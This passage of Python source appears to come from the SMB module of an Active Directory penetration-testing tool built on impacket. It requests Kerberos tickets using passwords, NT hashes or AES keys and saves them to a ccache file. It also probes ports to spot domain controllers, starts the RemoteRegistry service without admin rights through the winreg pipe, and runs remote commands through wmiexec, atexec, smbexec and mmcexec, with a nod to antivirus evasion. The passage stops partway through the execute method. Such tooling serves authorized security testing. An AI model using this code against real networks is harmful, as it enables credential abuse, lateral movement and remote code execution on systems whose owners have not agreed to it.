# When --delegate is used, the S4U Service Ticket is already obtained and saved during kerberos_login
if self.args.delegate:
return
spn = f"cifs/{self.remoteName}" if not self.args.spn else self.args.spn
self.logger.info(f"Attempting to get ST for SPN {spn} as {self.username}@{self.domain}")
try:
tgt = cipher = tgt_session_key = None
if self.tgt is not None:
tgt = self.tgt["KDC_REP"]
cipher = self.tgt["cipher"]
tgt_session_key = self.tgt["sessionKey"]
self.logger.debug("Reusing TGT obtained during SMB login")
elif self.use_kcache:
try:
_, _, cached_tgt, _ = CCache.parseFile(self.domain, self.username)
if cached_tgt is not None:
tgt = cached_tgt["KDC_REP"]
cipher = cached_tgt["cipher"]
tgt_session_key = cached_tgt["sessionKey"]
self.logger.debug("Using TGT from ccache")
except Exception as e:
self.logger.debug(f"Could not load TGT from ccache: {e}")
if tgt is None:
user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, _, tgt_session_key = getKerberosTGT(
clientName=user_name,
password=self.password,
domain=self.domain.upper(),
lmhash=binascii.unhexlify(self.lmhash) if self.lmhash else "",
nthash=binascii.unhexlify(self.nthash) if self.nthash else "",
aesKey=self.aesKey,
kdcHost=self.kdcHost,
)
self.logger.debug(f"TGT obtained for {self.username}@{self.domain}")
server_name = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, _, tgs_session_key, _ = getKerberosTGS(
server_name,
self.domain.upper(),
self.kdcHost,
tgt,
cipher,
tgt_session_key,
)
self.logger.debug(f"ST successfully obtained for SPN {spn}")
ccache = CCache()
ccache.fromTGS(tgs, tgs_session_key, tgs_session_key)
st_file = f"{self.args.generate_st.removesuffix('.ccache')}.ccache"
ccache.saveFile(st_file)
self.logger.success(f"ST saved to: {st_file}")
self.logger.success(f"Run the following command to use the ST: export KRB5CCNAME={st_file}")
except Exception as e:
self.logger.fail(f"Failed to get ST: {e}")
def check_dc_ports(self, timeout=1):
"""Check multiple DC-specific ports in case first check fails"""
import socket
dc_ports = [88, 389, 636, 3268, 9389] # Kerberos, LDAP, LDAPS, Global Catalog, ADWS
open_ports = 0
for port in dc_ports:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((self.host, port))
if result == 0:
self.logger.debug(f"Port {port} is open on {self.host}")
open_ports += 1
sock.close()
except Exception:
pass
# If 3 or more DC ports are open, likely a DC
return open_ports >= 3
def is_host_dc(self):
if self.isdc is not None:
return self.isdc
from impacket.dcerpc.v5 import nrpc, epm
self.logger.debug("Performing authentication attempts...")
# First check if port 135 is open
if self._is_port_open(135):
self.logger.debug("Port 135 is open, attempting MSRPC connection...")
try:
epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
self.isdc = True
return True
except DCERPCException:
self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!")
except TimeoutError:
self.logger.debug("Timeout while connecting to host: likely not a DC or host is unreachable.")
except Exception as e:
self.logger.debug(f"Error while connecting to host: {e}")
self.isdc = False
return False
else:
self.logger.debug("Port 135 is closed, skipping MSRPC check...")
# Fallback to checking DC ports
if self.check_dc_ports():
self.logger.debug("Host appears to be a DC (multiple DC ports open)")
self.isdc = True
return True
self.isdc = False
return False
def _is_port_open(self, port, timeout=1):
"""Check if a specific port is open on the target host."""
import socket
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(timeout)
result = sock.connect_ex((self.host, port))
return result == 0
except Exception as e:
self.logger.debug(f"Error checking port {port} on {self.host}: {e}")
return False
def trigger_winreg(self):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
try:
tid = self.conn.connectTree("IPC$")
try:
self.conn.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
if "STATUS_PIPE_NOT_AVAILABLE" not in str(e):
raise
else:
self.logger.debug(f"Received expected error while triggering winreg: {e}")
# Give remote registry time to start
sleep(1)
return True
except (SessionError, BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
self.logger.debug(f"Received unexpected error while triggering winreg: {e}")
return False
@requires_admin
def execute(self, payload=None, get_output=False, methods=None) -> str:
"""
Executes a command on the target host using CMD.exe and the specified method(s).
Args:
----
payload (str): The command to execute
get_output (bool): Whether to get the output of the command (can be useful for AV evasion)
methods (list): The method(s) to use for command execution
Returns:
-------
str: The output of the command
"""
if getattr(self.args, "exec_method_explicitly_set", False):
methods = [self.args.exec_method]
if not methods:
methods = ["wmiexec", "atexec", "smbexec", "mmcexec"]
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output:
get_output = True
current_method = ""
for method in methods:
current_method = method
if method == "wmiexec":
try:
exec_method = WMIEXEC(
self.remoteName,
self.smb_share_name,
self.username,
self.password,
self.domain,
self.conn,
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.args.share,
logger=self.logger,
timeout=self.args.dcom_timeout,
tries=self.args.get_output_tries
)
self.logger.info("Executed command via wmiexec")
break
except Exception:
self.logger.debug("Error executing command via wmiexec, traceback:")
self.logger.debug(format_exc())
continue
elif method == "mmcexec":
try:
# https://github.com/fortra/impacket/issues/1611
if self.kerberos:
raise Exception("MMCExec current is buggly with kerberos")
exec_method = MMCEXEC(
self.remoteName,
self.smb_share_name,
self.username,
self.password,
self.domain,